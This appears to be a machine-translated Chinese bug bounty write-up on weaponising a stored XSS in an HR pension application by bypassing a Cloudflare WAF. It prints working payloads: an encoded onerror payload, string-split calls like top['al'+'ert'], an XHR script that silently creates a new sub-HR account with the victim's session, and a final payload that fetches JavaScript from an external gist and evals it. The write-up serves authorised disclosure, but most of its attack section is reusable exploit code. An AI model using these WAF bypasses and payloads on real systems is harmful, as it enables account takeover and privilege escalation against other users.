繞過 WAF 將存儲的 XSS 武器化
在測試漏洞賞金計劃時,我注意到我的<u>html injection</u>
payload在將其發送到應用程序中反映的每個字段時都有效。然后,我第一次收到彈框的沖動讓<img src=x onerror=alert()>我失望了。Alert()被cloudflare WAF阻止。所以,我使用console.log()了它,它被接受并執行了。當我必須構建一個顯示此 XSS 影響其他用戶的 PoC 時,就會出現問題。
關于目標
此應用程序是為人力資源部門構建的,用于管理員工的養老金。員工自己無權訪問該應用程序。唯一的授權差異發生在主 HR 帳戶和子 HR 帳戶之間。
2 Sub-HR 帳戶存在權限級別。
1. 只讀訪問 2. 標準訪問
具有標準訪問權限的子 HR 帳戶可以創建、編輯、刪除員工記錄。但是,它不能創建新的子 HR 帳戶。僅允許主 HR 帳戶這樣做。
因此,在我們的攻擊場景中,我們有一個子 HR 帳戶。我們會將員工姓名編輯為將存儲的 XSS 有效負載。我們的受害者,一個主 HR 帳戶訪問Income Decl.導致我們的有效負載執行的選項卡。它POST請求/hrusers/add創建新的子 HR 帳戶。
這里是執行 XSS 的頁面。有關公司的信息將根據他們的要求進行編輯。

漏洞利用
POST /hrusers/add最初看起來像這樣的核心(刪除了一些標題以增加可讀性):
POST /hrusers/add HTTP/1.1 Host: www.app.tld Cookie: auth=secret; Content-Length: 976 Origin: https://www.app.tld Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycItg8YvLxAC5Af6g Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.app.tld/ Connection: close ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="_method" POST ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][first_name]" john ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][last_name]" doe ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][email_address]" ne555+blog@wearehackerone.com ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][username]" ne555-blog ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][password]" testpass123! ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][conf_password]" testpass123! ------WebKitFormBoundarycItg8YvLxAC5Af6g Content-Disposition: form-data; name="data[User][role_type]" 0 ------WebKitFormBoundarycItg8YvLxAC5Af6g--
302 Found請求成功后返回。
Bypass CloudFlare
1.我嘗試的第一件事是使用script標簽,但它被 cloudflare 阻止了。

2.我試圖繞過解析但是沒有什么好的結果。所以我需要在事件處理程序中構建有效負載。
3. 我試圖創建一個XMLHttpRequest. 但是,它也被阻止了。
<img src=x onerror="poc = new XMLHttpRequest()">
4. 在制作了幾個payload之后,我意識到這種利用并不像我想象的那么容易。CSP 規則允許我從任何域中獲取數據。因此,如果我將惡意 javascript 存儲在其他地方并在運行時將其拉取,WAF 將無法檢測到它。
5.fetch()被屏蔽了。所以我開始尋找一種以某種方式對其進行編碼的方法。我想使用aurebesh.js很長時間了。這似乎是一個很好的用例。這是完整的有效載荷:
<img src=x onerror="a='',b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+'(a)')()">
6. WAF 沒有阻止它并彈出警報。也許我可以這樣編碼fetch()。我嘗試了 jsfuck.com,但 WAF 阻止了我的有效載荷。這很奇怪。也許我可以編寫自己的aurebesh.js版本,讓我可以將任何字母用于任何代碼。
7. 經過一段時間的研究,我發現我的 JS 知識遠遠低于標準。我需要找到其他方法來繞過這個 WAF。
8. PayloadsAllTheThingsrepo 真的很有幫助,我發現top["al"+"ert"](1);有效載荷確實有效。我可以潛入這樣的危險功能。
9. 如果我可以multipart/form-data請求application/x-www-form-urlencoded,POST /hrusers/add我就不必處理邊界問題。盡管 Burp Suite 的change body encoding功能和服務器接受了請求,但我還是這樣做了。
10. 我用下面的代碼創建了一個新建用戶的POC。
body = `_method=POST&data%5bUser%5d%5bfirst_name%5d=john&data%5bUser%5d%5blast_name%5d=doe&data%5bUser%5d%5bemail_address%5d=ne555%2bblog@wearehackerone.com&data%5bUser%5d%5busername%5d=ne555-blog&data%5bUser%5d%5bpassword%5d=testpass123%21&data%5bUser%5d%5bconf_password%5d=testpass123%21&data%5bUser%5d%5brole_type%5d=0`; poc = new XMLHttpRequest(); poc.open(`POST`,`/hrusers/add`, true); poc.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded`); poc.withCredentials = true; poc.send(body);
11. 現在我必須獲取這個 javascript 并使用eval(). 有效負載創建是有問題的,因為它位于事件處理程序內部并且由許多層組成。gist 中的所有字符串都必須使用撇號創建。
12.最終的利用POC:
<img src="x" onerror="top[`fet`+`ch`]('https://gist.githubusercontent.com/Hubbey/84d413e76dd833b42eb0281b9d7191fa/raw/e08425e18d85b10e82dc6ba4bc25b0df08321000/blog').then(response =>response.text()).then((body) =>{top[`ev`+`al`](body);})">
13. 現在,當受害者訪問該頁面時,會創建一個新的子 HR 帳戶。
結論
不僅證明 XSS 是有效的,而且還真的很有教育意義。此漏洞存在于一個私人漏洞賞金計劃中。因此,它得到了獎勵,并且該博客文章被公司允許。